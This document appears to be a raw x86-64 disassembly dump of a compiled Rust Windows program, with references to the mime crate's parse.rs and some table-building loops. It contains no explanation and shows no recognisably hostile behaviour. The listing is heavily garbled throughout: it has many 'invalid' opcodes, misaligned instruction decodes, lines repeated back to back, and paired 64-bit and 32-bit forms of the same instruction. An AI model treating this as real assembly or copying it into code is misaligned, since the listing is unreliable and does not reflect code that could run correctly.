mov dword [rax + rsi*8], ebx
mov rax, qword [rsi + 8]
mov word [rax + r14*8], bx
mov dword [rax + r14*8 + 4], edi
inc r14
mov qword [rsi + 0x10], r14
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rsi
invalid
pop rsi
ret
rol dword [rcx - 0x7d], 0xf0
por mm0, qword [0x150bdd240]
adc byte [rax], al
mov edx, 0xe
adc byte [rax], al
mov edx, 0xe
sub edx, r8d
mov r9d, edx
and r9d, 0xf
add r8d, r8d
xor eax, eax
bt ecx, r9d
adc ax, 0x1e
sub eax, r8d
ret
lea rax, [rsp + 0x20]
mov qword [rax], rcx
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
lea rax, case.0x1400089d2.68
mov qword [rcx + 8], rax
lea rax, str.IO_error:
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov eax, 1
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
adc byte [rcx - 0x77], cl
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub al, ch
out dx, al
invalid
cld
invalid
adc byte [rcx - 0x77], cl
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub al, ch
out dx, al
invalid
nop
add rsp, 0x68
ret
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x1a41cd
add byte [rcx - 0x48], al
adc al, byte [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add byte [rax - 0x7d], cl
invalid
push 0x41e0ff48
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rdi, rdx
mov rax, qword [rcx]
add dword [rbx + rcx*4 + 0x70], ecx
or byte [rbx + rcx*4 + 0x78], cl
adc byte [rax - 0x75], cl
mov ecx, dword [rdx + 0x20]
jmp rax
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
lea rdx, [0x140288be0]
mov r8d, 1
call qword [rax + 0x18]
lea rsi, [rsp + 0x30]
mov qword [rsi], rdi
mov byte ds:[rsi + 8], al
mov byte ds:[rsi + 8], al
mov byte [rsi + 9], 0
or dword [rax], eax
lea rdi, [0x14001d0bd]
lea rbx, [rsp + 0x28]
test r15, r15
je 0x1400591e4
mov qword [rsp + 0x28], r14
inc r14
mov rcx, rsi
mov rdx, rbx
fimul dword [rcx - 0x77]
clc
fimul dword [rcx - 0x77]
clc
call fcn.14002b270
dec r15
jmp 0x1400591c4
mov rcx, qword [rsp + 0x30]
mov dl, byte [rsp + 0x38]
and al, 0x38
and al, 0x38
call fcn.14002b3b0
nop
add rsp, 0x40
pop rbx
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
or byte [rax - 0x75], cl
or byte [rax - 0x75], cl
sbb byte [rax - 1], cl
loopne case.0x140047a7d.65
mov eax, dword [rcx]
movzx eax, byte [rax]
lea rcx, [0x14028a140]
sbb ecx, dword [rdi]
and eax, dword [rax]
sbb ecx, dword [rdi]
and eax, dword [rax]
mov r8, qword [rcx + rax*8]
lea rcx, case.0x140059243.0
or eax, 0x230f58
or eax, 0x230f58
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
sub rsp, 0x38
mov rax, qword [rcx]
movzx ecx, byte [rax]
lea r8, [0x14028bd14]
add eax, 0x232abd
add eax, 0x232abd
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fd3dc]
sbb al, byte [r8]
sbb al, byte [r8]
mov r8d, 0xc
jmp 0x140059366
add cl, ch
retf 0
sbb al, byte [r8]
mov r8d, 0xf
jmp case.0x140056e1a.16
mov dword [rcx], eax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rax, [0x1401fd449]
mov r8d, 0xe
mov rcx, rdx
mov rdx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
ret
sbb byte [rax - 0x73], cl
adc eax, 0x1a40be
mov r8d, 0x17
jmp 0x140059366
add rsp, 0x38
jmp rax
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov r14, r8
mov rsi, rdx
mov rdi, rcx
mov rcx, qword [r8 + 0x20]
mov rax, qword [r8 + 0x28]
lea rdx, [0x140288be0]
mov r8d, 1
call qword [rax + 0x18]
lea rbx, [rsp + 0x30]
mov qword [rbx], r14
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
lea r14, [0x14001d0bd]
lea r15, [rsp + 0x28]
test rsi, rsi
je 0x1400594e8
mov qword [rsp + 0x28], rdi
inc rdi
mov rcx, rbx
mov rdx, r15
mov r8, r14
call fcn.14002b270
dec rsi
jmp 0x1400594c8
mov rcx, qword [rsp + 0x30]
mov dl, byte [rsp + 0x38]
call fcn.14002b3b0
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rdx, qword [rbp + 8]
movabs r14, 0x8000000000000002
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax + 0x3c4e9], al
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax + 0x3c4e9], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub cl, 0xc4
add eax, dword [rax]
add cl, ch
mov esp, 0x48000003
lea ecx, [rbp + 0x30]
invalid
xor byte [rax - 0x48], cl
add al, byte [rax]
add byte [rax], al
add byte [rax], al
movabs rax, 0x8000000000000002
mov qword [rcx], rax
lea rax, [r14 + 2]
add byte [rax + 0x49018948], al
lea eax, [rsi + 2]
mov qword [rbp - 8], rax
mov rdx, qword [rbp + 0x68]
cmp rdx, r12
jae 0x14005a8b9
mov rax, qword [rbp + 0x68]
mov eax, dword [rbp + 0x68]
push 0x4801b741
mov r15b, 1
cmp rsi, qword [rbp + 0x58]
cmp esi, dword [rbp + 0x58]
je 0x14005a824
movzx r13d, byte [rsi]
inc rsi
inc esi
mov qword [rbp + 0x20], rax
inc rax
inc eax
mov qword [rbp + 0x68], rax
cmp r13, 0x20
je 0x14005a5aa
lea rax, [0x1401fd948]
cmp byte [r13 + rax], 0
jne 0x14005a4ac
loop case.0x14003c2d3.462
add byte [rax], al
xor eax, eax
mov rcx, qword [rbp + 0x68]
mov qword [rbp + 0x60], rcx
test al, al
je 0x14005a550
cmp rsi, qword [rbp + 0x58]
jne 0x14005a56c
je 0x14005a8b1
add byte [rdx + rcx*4 + 0x2e], al
mov r13b, byte [rsi]
inc rsi
cmp r13b, 0x22
jne 0x14005a534
mov rcx, qword [rbp + 0x68]
cmp qword [rbp + 0x60], rcx
ja 0x14005a5bf
cmp r13b, 0x20
jb 0x14005a82b
mov rcx, qword [rbp + 0x60]
inc rcx
cmp r13b, 0x7f
jne 0x14005a508
jmp 0x14005a82b
cmp rsi, qword [rbp + 0x58]
je 0x14005a5f0
movzx r13d, byte [rsi]
inc rsi
mov rcx, qword [rbp + 0x60]
inc rcx
mov qword [rbp + 0x50], rcx
cmp r13, 0x22
je 0x14005a587
lea rcx, [0x1401fd948]
cmp byte [r13 + rcx], 0
mov rcx, qword [rbp + 0x50]
jne 0x14005a508
jmp case.0x14002e84a.403
mov r13b, 0x22
mov al, 1
mov rcx, qword [rbp + 0x68]
cmp qword [rbp + 0x60], rcx
mov r10, qword [rbp + 0x50]
mov rcx, r10
mov qword [rbp + 0x68], r10
je 0x14005a508
jmp 0x14005a82b
mov rax, qword [rbp + 0x20]
cmp rax, rdx
jne 0x14005a995
dec dword [rax - 0x75]
invalid
mov rax, qword [rbp + 0x60]
cmp rsi, qword [rbp + 0x58]
cmp esi, dword [rbp + 0x58]
je 0x14005a61f
movzx r13d, byte [rsi]
inc rsi
inc esi
inc esi
inc rax
cmp r13d, 0x20
cmp ebp, 0x20
rol byte [rcx - 0x7d], 0xfd
and byte [rdx + rbp*8 + 0x41], dh
cmp r13d, 0x3b
cmp ebp, 0x20
je 0x14005a5c3
cmp r13d, 0x3b
jne 0x14005a9e4
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x45
inc rax
mov qword [rbp + 0x50], rax
push rax
mov qword [rbp + 0x28], rax
jmp case.0x14002f63b.384
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x50], rax
mov rsi, qword [rbp + 0x58]
mov esi, dword [rbp + 0x58]
mov qword [rbp + 0x60], r12
jmp 0x14005a62a
invalid
cmp r13b, 0x3b
jne 0x14005a82b
add al, byte [rax]
invalid
std
cmp ecx, dword [rdi]
test dword [rdi], ebx
add al, byte [rax]
add byte [rax - 0x77], cl
mov qword [rbp + 0x28], rcx
mov rax, qword [rbp + 0x68]
invalid
invalid
sub byte [r8 - 0x75], r9b
push 0x60453948
cmp qword [rbp + 0x60], rax
ja case.0x14002f63b.384
adc al, 0xe9
or al, 2
add byte [rax], al
invalid
jmp 0x14005a82b
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x45
mov qword [rbp + 0x50], rax
inc rax
mov qword [rbp + 0x50], rax
push r8
mov rsi, qword [rbp + 0x58]
pop rax
mov qword [rbp + 0x28], r12
mov rax, qword [rbp + 0x30]
mov r13, rax
btc rax, 0x3f
invalid
cmp rax, 3
push 1
pop rcx
cmovae rax, rcx
cmovae eax, ecx
invalid
invalid
cmovae eax, ecx
cmp rax, 2
jne 0x14005a749
mov r15, rdx
cmp qword [rbp - 8], rdx
jne 0x14005a6f8
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
add eax, 0x1a3225
and eax, 0x48001a32
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp + 0x20]
mov r8, rbx
fmul dword [rbp - 0x77]
loope 0x14005a65f
xchg edx, eax
stc
invalid
dec dword [rcx - 0x77]
invalid
fmul dword [rbp - 0x77]
loope 0x14005a65f
xchg edx, eax
stc
invalid
lea rcx, str.charsetutf_8
mov rdx, rax
call fcn.14005a101
test al, al
invalid
je 0x14005a6f8
add byte [rax - 0x77], cl
ret 0x74e8
sal byte [rdi + riz*2 + 0x48], 0x8d
add eax, 0x1a3220
and byte [rdx], dh
sbb al, byte [rax]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
lea eax, [0x1401fd8b8]
and byte [rdx], dh
sbb al, byte [rax]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov edx, dword [rbp + 0x60]
mov edx, dword [rbp + 0x60]
mov r8, rbx
mov r9, r12
mov ecx, esp
mov ecx, esp
call fcn.14005a00d
mov r8, rdx
lea rcx, [0x1401fd8d0]
mov rdx, rax
call fcn.14005a101
test al, al
je 0x14005a6f8
mov rdx, qword [rbp + 0x38]
mov rcx, r13
call fcn.1400156b3
movabs rax, 0x8000000000000000
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], r14
mov r9, r14
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x28]
jmp 0x14005a4a3
push 0x20
pop rcx
call fcn.14005a0d3
mov r8, rax
mov qword [rax], r15
mov rax, qword [rbp + 0x20]
mov qword [r8 + 8], rax
mov rax, qword [rbp + 0x68]
mov qword [r8 + 0x10], rax
mov rax, qword [rbp + 0x60]
mov qword [r8 + 0x18], rax
mov rdx, qword [rbp + 0x38]
mov rcx, r13
mov r15, r8
call fcn.1400156b3
mov r9, r15
push 1
pop rax
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x18], rax
jmp 0x14005a6e7
test rax, rax
mov r15, qword [rbp + 0x18]
mov qword [rbp], rdx
jne 0x14005a7d5
push rbp
add byte [rbp + 0x7f], dh
mov r15, qword [rbp + 0x38]
jge 0x14005a792
push 0x40
pop rcx
call fcn.14005a0d3
mov r9, rax
mov r10, r15
mov edx, edi
lea rax, [r15 + 9]
lea rcx, [r15 + 0xa]
or dword [r9 - 0x73], r9d
or r13b, byte [r10 + 2]
push 2
lea ecx, [rdi + 0xa]
push 2
pop r15
lea rdx, [r10 + r15]
lea r8, [r10 + 0xf]
mov qword [r9], rdx
adc dword [rcx - 0x77], ecx
or byte [r9 - 0x77], cl
adc byte [r13 - 0x77], cl
sbb byte [r8 - 0x75], cl
add byte [r9 - 0x77], r9b
and byte [r8 - 0x75], cl
and byte [r9 - 0x77], r9b
sub byte [r8 - 0x75], cl
push 0x30418949
adc dword [rcx - 0x77], ecx
or byte [r9 - 0x77], cl
adc byte [r13 - 0x77], cl
sbb byte [r8 - 0x75], cl
add byte [r9 - 0x77], r9b
and byte [r8 - 0x75], cl
and byte [rax - 0x75], cl
and byte [r9 - 0x77], r9b
sub byte [r8 - 0x75], cl
push 0x30418949
mov rax, qword [rbp + 0x60]
mov qword [r9 + 0x38], rax
mov rcx, r13
mov rdx, r10
mov r13, r9
mov ebp, ecx
mov ebp, ecx
call fcn.1400156b3
mov r9, r13
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r15
jge 0x14005a808
dec dword [rbp - 0x77]
jmp 0x17083310c
jge 0x14005a808
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x18], r15
mov dword [rbp + 0x18], edi
mov dword [rbp + 0x18], edi
jmp 0x14005a6e7
cmp r15, r13
jne 0x14005a7e7
lea rcx, [rbp + 0x30]
call fcn.140059e73
mov r9, qword [rbp + 0x38]
mov rax, r15
shl rax, 5
mov rcx, qword [rbp]
mov qword [r9 + rax], rcx
mov rcx, qword [rbp + 0x20]
mov qword [r9 + rax + 8], rcx
mov rcx, qword [rbp + 0x68]
mov qword [r9 + rax + 0x10], rcx
mov rcx, qword [rbp + 0x60]
mov qword [r9 + rax + 0x18], rcx
inc r15
mov rax, r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x40], r15
jmp 0x14005a6e7
mov qword [rbp + 0x60], rax
mov r8b, 1
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov esi, r8d
call fcn.1400156b3
mov r9d, esi
mov r14, qword [rbp + 0x60]
push 2
pop rdx
shl rax, 0x10
movzx ecx, r13b
shl ecx, 8
or rcx, rax
movzx eax, r9b
or rax, rcx
mov rcx, qword [rbp - 0x58]
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r14
cmp rdx, 2
push 2
pop rax
je 0x14005a89a
mov qword [rcx + 0x18], r8
mov rax, qword [rbp + 0x18]
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], rsi
mov byte [rcx + 0x30], r15b
xor byte [rdi], cl
sub byte [rbp - 0x30], al
xor byte [rdi], cl
sub byte [rbp - 0x30], al
movups xmmword [rcx + 0x31], xmm0
adc dword [rcx + 0x31], eax
movups xmm0, xmmword [rbp - 0x21]
movups xmmword [rcx + 0x40], xmm0
mov qword [rcx + 0x50], rdi
push rax
push rax
mov rax, rdx
mov qword [rcx], rax
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r8b, 2
jmp 0x14005a82b
mov rdx, qword [rbp + 0x30]
mov r9b, byte [rbp + 0x38]
mov r13b, byte [rbp + 0x39]
mov ecx, dword [rbp + 0x3a]
movzx eax, word [rbp + 0x3e]
shl rax, 0x20
or rax, rcx
movabs rcx, 0x8000000000000003
cmp rdx, rcx
jne 0x14005a8ee
mov r15b, 1
mov r14, qword [rbp + 0x18]
jmp 0x14005a842
movzx ecx, r9b
movzx r8d, r13b
mov rsi, qword [rbp + 0x48]
jne 0x14005a942
jne 0x14005a942
shl rax, 0x10
or rax, rcx
shl r8d, 8
shl eax, 8
shl eax, 8
or r8, rax
or eax, eax
mov qword [rbp + 0x58], r8
mov qword [rbp + 0x60], rdx
mov dword [rbp + 0x60], edx
mov dword [rbp + 0x60], edx
mov rax, rdx
btc rax, 0x3f
clc
invalid
ror byte [rax + 0xf], 1
mov edx, 0x83483ff8
clc
invalid
cmp rax, 3
push 1
invalid
clc
invalid
cmp rax, 3
push 1
invalid
add dword [rcx + 0x48], ebx
cmovb ecx, eax
invalid
pop rcx
cmovb rcx, rax
invalid
enter 0xffffffffffff8348, 0xfffffffffffffff9
cmp rcx, 2
je 0x14005a99d
invalid
add dh, byte [rsp + rsi*2 + 0x48]
je 0x14005a972
mov rax, rcx
mov eax, ecx
cmp rcx, 1
cmp ecx, 1
mov r15, qword [rbp + 0x10]
jne 0x14005a9cc
xchg edx, eax
add byte [rax], al
invalid
xchg edx, eax
add byte [rax], al
add byte [rax - 0x73], cl
xor byte [r8 - 0x77], r9b
xor byte [rax - 0x77], cl
lea rcx, [rbp + 0x30]
mov rdx, rbx
mov r8, r12
xor byte [rax - 0x77], cl
fimul dword [rbp - 0x77]
loopne case.0x140040456.200
mov eax, esp
call fcn.14005a16a
mov rcx, qword [rbp + 0x38]
cmp byte [rbx + rcx*4 + 0x65], cl
test rsi, rsi
and eax, edi
clc
invalid
cmp byte [rbx + rcx*4 + 0x65], cl
test rsi, rsi
mov r13, qword [rbp + 0x18]
mov rbx, qword [rbp + 0x58]
pop rbp
pop rax
pop rbp
pop rax
mov qword [rbp + 0x68], rcx
je 0x14005aa09
invalid
invalid
add byte [rax], al
invalid
push 0xa3840f
test byte [rbx + 0x49000000], ah
cmp esp, esi
add byte [rax], al
cmp r12, rsi
jbe 0x14005aa03
cmp byte [rcx + rsi], 0xbf
jg 0x14005aa09
mov edi, 0x908f0f
add byte [rax], al
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
mov qword [rsp + 0x20], rax
mov rdx, r12
xor r8d, r8d
mov r9, rsi
call fcn.1401c73e0
jmp 0x14005a9ca
and bl, ch
cmp r14, r12
cmp r14, r12
mov r15, qword [rbp + 0x10]
jae 0x14005a9ed
cmp byte [rbx + r14], 0xbf
jg 0x14005a9ef
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
lea eax, [0x1401fd808]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov rcx, rbx
mov rdx, r12
xor r8d, r8d
mov r9, r14
call fcn.1401c73e0
invalid
ud2
lea rcx, [rbp - 0x50]
mov rdx, rbx
mov r8, r12
call fcn.14005a08f
jmp 0x14005aacb
invalid
mov eax, dword [rbp + 0x20]
mov qword [rbp + 0x60], rax
jmp 0x14005a82b
jne 0x14005a9ad
lea rcx, [rbp - 0x50]
mov rdx, rbx
mov r8, r14
call fcn.14005a08f
jmp 0x14005aacb
jne 0x14005a979
mov rdx, rsi
call fcn.14005a1e6
shl r13, 5
add r13, rbx
cmp rbx, r13
je 0x14005aab7
and byte [rax - 0x75], cl
push 0x49e2894c
mov edx, esp
mov r8, rbx
mov edx, esp
mov r8, rbx
mov r9, r15
call fcn.14005a20e
mov rcx, rax
mov ecx, eax
mov ecx, eax
call fcn.14005a1e6
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r15
mov r8, qword [rbp + 0x68]
mov r9, r12
call fcn.14005a00d
lea rbx, [r14 + 0x20]
mov rcx, rax
lea r8, str.charsetutf_8
push 7
pop r9
call fcn.14005a06a
test al, al
je 0x14005aa18
mov r8, qword [r14 + 0x10]
mov r9, qword [r14 + 0x18]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x68]
mov rdx, r12
call fcn.14005a20e
mov rcx, rax
call fcn.14005a1e6
jmp 0x14005aa18
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x19], rax
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp - 0x29], xmm0
mov r13d, r15d
shr r13d, 8
mov rax, r15
shr rax, 0x10
adc byte [rbp - 0x77], al
stc
adc byte [rbp - 0x77], al
stc
mov r15b, 1
mov rdx, qword [rbp + 8]
mov r14, qword [rbp + 0x60]
invalid
mov r8, qword [rbp + 0x58]
pop rax
jmp 0x14005a845
std
invalid
invalid
invalid
std
invalid
push rbp
pop rax
call fcn.1400156b3
call qword [rax + 0x28c48348]
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x68]
call fcn.1400373d1
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rsi
call fcn.14005ac07
cmp eax, 0x110000
je case.0x140056e1a.22
mov ebx, eax
mov rcx, rdi
call fcn.14005ac54
cmp eax, 0x110000
je 0x14005abfa
xor edx, edx
cmp eax, ebx
setne dl
cmova edx, ebp
test dl, dl
je 0x14005abc4
mov al, 1
jmp 0x14005abfe
mov al, 2
jmp 0x14005abfe
mov dl, 1
xor eax, eax
invalid
ror byte [rax - 0x7d], 0xc4
sub byte [rbx + 0x5d], bl
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rax, [rbx*4]
xor r8d, r8d
cmp rax, r8
je 0x14005c6f2
movzx ecx, word [r13 + r8]
cmp rcx, 0x21
jae 0x14005cb8b
inc dword [rsp + rcx*4 + 0x60]
add r8, 4
jmp 0x14005c6d3
cmp rdx, 2
jae 0x14005c8e8
lea r12, [r15 + 0xd80]
imul rax, r14, 0x120
lea rcx, [r15 + rax]
add rcx, 0xd80
xor r8d, r8d
mov r9, qword [rsp + 0x38]
invalid
cmp r8, 0x120
je 0x14005c730
mov byte [rcx + r8], 0
inc r8
jmp 0x14005c71d
lea rcx, [r15 + r9]
add rcx, 0x6c0
xor r8d, r8d
cmp r8, 0x240
je 0x14005c753
and word [rcx + r8], 0
add r8, 2
jmp 0x14005c73e
lea r8, [rbp + 1]
mov r9d, 1
xor r10d, r10d
add r12, rax
xor r11d, r11d
test r9, r9
je 0x14005c79b
mov dword [rsp + r8*4 + 0xe4], eax
test dl, 1
jne 0x14005c84f
cmp rcx, rbp
ja 0x14005c84f
setae dl
mov r9, rcx
adc r9, 0
add eax, dword [rsp + rcx*4 + 0x5c]
add eax, eax
mov r8, rcx
mov rcx, r9
mov ecx, ecx
mov ecx, ecx
jmp 0x14005c825
imul rax, r12, 0x120
add rax, r15
add rax, 0xd80
imul rcx, r12, 0x240
add al, byte [rax]
add byte [rcx - 0x73], cl
adc al, 0xf
add al, byte [rax]
add byte [rcx - 0x73], cl
adc al, 0xf
add rdx, 0x6c0
add byte [rax], al
xor r8d, r8d
xor r10d, r10d
test r14, r14
je 0x14005c8d4
cmp r8, 0x120
je 0x14005c8d4
mov r9, r10
dec r14
add r10, 2
movzx ecx, byte [rax + r8]
inc r8
test rcx, rcx
je 0x14005c877
cmp cl, 0x20
ja 0x14005cb94
xchg edi, ebp
add al, byte [rax]
add byte [rbx + rcx*4 - 0x64], al
mov ebx, dword [rsp + rcx*4 + 0xe4]
invalid
invalid
mov r11d, dword [rsp + rcx*4 + 0xe4]
lea esi, [r11 + 1]
jae 0x14005c8b2
mov dword [rsp + rcx*4 + 0xe4], esi
mov ah, 0x8c
in al, 0
add byte [rax], al
xor esi, esi
sub cl, 1
jb 0x14005c8cd
add dword [rdx + 0xe], esi
mov edi, r11d
and edi, 1
lea esi, [rdi + rsi*2]
shr r11d, 1
jmp 0x14005c8ba
mov word [rdx + r9], si
jmp 0x14005c877
add rsp, 0x2268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + rbp*4]
add rax, 0x64
lea r10, [rsp + 0xe4]
add byte [rax], al
add byte [rax], al
xor ecx, ecx
mov r8d, 0
cmp rax, r10
je 0x14005c91e
sub r10, rax
shr r10, 2
invalid
invalid
invalid
xor r8d, r8d
xor r9d, r9d
add r8d, dword [rax + r9*4]
inc r9
cmp r10, r9
jne 0x14005c912
lea rax, [rsp + rbp*4]
add rax, 0x60
add dword [rax], r8d
lea r8, [rbp*4]
xor r10d, r10d
xor edx, edx
add byte [rax], al
add byte [rbp + 0x31], al
xor edx, edx
test r8, r8
je 0x14005c94c
mov r9d, dword [rsp + r8 + 0x60]
xor edx, edx
test r8, r8
je 0x14005c94c
mov r9d, dword [rsp + r8 + 0x60]
shl r9d, cl
add r10d, r9d
add edx, ecx
inc ecx
add r8, 0xfffffffffffffffc
jmp 0x14005c934
mov r8d, 1
add byte [rcx - 0x1f2cbe17], cl
mov ecx, ebp
shl r8d, cl
jmp 0x185e69c99
cmp r8d, r10d
jae 0x14005c6fc
inc r8d
dec dword [rax]
sar bh, 8
mov rcx, rbp
cmp rcx, 2
jb 0x14005c957
mov r9d, dword [rsp + rcx*4 + 0x5c]
pop rsp
dec rcx
leave
test r9d, r9d
je 0x14005c968
dec r9d
mov dword [rsp + rcx*4 + 0x60], r9d
invalid
cmp rcx, 0x20
je 0x14005cbc4
invalid
add dword [rsp + rcx*4 + 0x64], 2
add ch, bl
ret
jmp 0x14005c957
mov bh, 0x45
add al, 0x66
add dword [r13], eax
add dword [rbp], eax
lea rcx, [rbx - 1]
mov r8d, 2
mov eax, 1
add byte [rax], al
add byte [rax], al
xor r10d, r10d
cmp rax, rcx
jae case.0x14002e5c3.419
enter 0xffffffffffff830f, 0xffffffffffffffc1
add byte [rax], al
add byte [rcx + 0x39], cl
cmp r8, rbx
jae 0x14005c9d5
fdiv dword [rbx + 0x17]
cmp r10, rbx
jae 0x14005cbef
sub dword [rax], 2
add byte [rax], al
sub dword [rax], 2
add byte [rax], al
movzx r9d, word [r13 + r8*4]
test dword [rax], eax
add byte [rsi + 0x47], ah
cmp dword [rbp + rdx*4], ecx
cmp word [r13 + r10*4], r9w
jae 0x14005c9fe
cmp r10, rbx
jae 0x14005cbb2
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0x39], cl
fmul dword [rdi]
invalid
add byte [rax], al
cmp rax, rbx
jae 0x14005cbbb
adc esp, 1
add byte [rax], al
movzx r9d, word [r13 + r10*4]
mov word [r13 + rax*4], r9w
invalid
xchg ebp, eax
add byte [rsi + 0x45], ah
mov dword [rbp + rax*4], ecx
invalid
add byte [rsi + 0x43], ah
mov dword [rbp + rdx*4], eax
mov word [r13 + r10*4], ax
inc r10
ret 0x12eb
jmp 0x14005ca10
cmp rax, rbx
jae 0x14005cc04
cmp ebp, 1
add byte [rax], al
invalid
cmp ebp, 1
add byte [rax], al
invalid
mov word [r13 + rax*4], r9w
test dword [rax], eax
add byte [rcx - 1], cl
ror byte [rcx + 0x39], 0xd8
inc r8
cmp r8, rbx
jae 0x14005ca31
cmp r10, rax
jae case.0x140085b76.427
cmp r10, rbx
jae 0x14005cc10
fimul dword [rdi]
sub ebp, 1
add byte [rax], al
movzx r9d, word [r13 + r10*4]
cmp r9w, word [r13 + r8*4]
test qword [rax], r8
test qword [rax], r8
jae case.0x140085b76.427
cmp rax, rbx
jae 0x14005cbda
cmp r10, rbx
cmp edx, ebx
fimul dword [rdi]
and dword [rbx + 0x47000001], 0xf
movzx r9d, word [r13 + r10*4]
add word [r13 + rax*4], r9w
jae case.0x1400422c1.267
movzx r9d, word [r13 + r10*4]
add word [r13 + rax*4], r9w
mov word [r13 + r10*4], ax
inc r10
jmp 0x14005ca72
xchg ebp, eax
add byte [rcx - 1], cl
ret 0x18eb
cmp rax, rbx
cmp eax, ebx
jae 0x14005cbf8
movzx r9d, word [r13 + r8*4]
add word [r13 + rax*4], r9w
add dword [r13 + rax*4], r9d
add dword [r13 + rax*4], r9d
add dword [rbp + rax*4], ecx
test qword [rax], r8
inc r8
inc rax
inc eax
jmp 0x14005c9b0
lea r8, [rbx - 2]
and word [r13 + rbx*4 - 8], 0
clc
add byte [rax - 0x73], cl
std
clc
add byte [rax - 0x73], cl
std
cmp rax, 0xffffffffffffffff
cmp eax, 0xffffffff
push qword [rbp + rbp + 0x48]
cmp ebx, 2
invalid
je 0x14005cabc
cmp rbx, 2
add cl, byte [rdi]
xchg byte [rcx + rax], al
add byte [rax], al
jbe 0x14005cb9d
movzx r9d, word [r13 + rax*4]
movzx ecx, word [rbp + rax*4]
test qword [rax], r8
cmp rbx, r9
jbe 0x14005cba6
add byte [rax], al
retf
add byte [rax], al
movzx r9d, word [r13 + r9*4]
mov bh, 0x4c
lea eax, [rax]
inc r9d
mov word [r13 + rax*4], r9w
mov dword [rbp + rax*4], ecx
add byte [rax - 1], cl
enter 0xffffffffffffcdeb, 0x41
jmp 0x14005ca89
mov r9d, 1
dec rax
jmp 0x14005ca89
mov r9d, 1
xor edi, edi
test r9d, r9d
jle 0x14005c6c8
sti
invalid
cmp r8d, 0xffffffff
cmp eax, 0xffffffff
mov r11d, 0xffffffff
mov ebx, 0xffffffff
cmovl r11d, r8d
mov r10d, r8d
sub r10d, r11d
xor esi, esi
cmp r10d, esi
je 0x14005caff
mov eax, r8d
cmp rbx, rax
jbe 0x14005cb5a
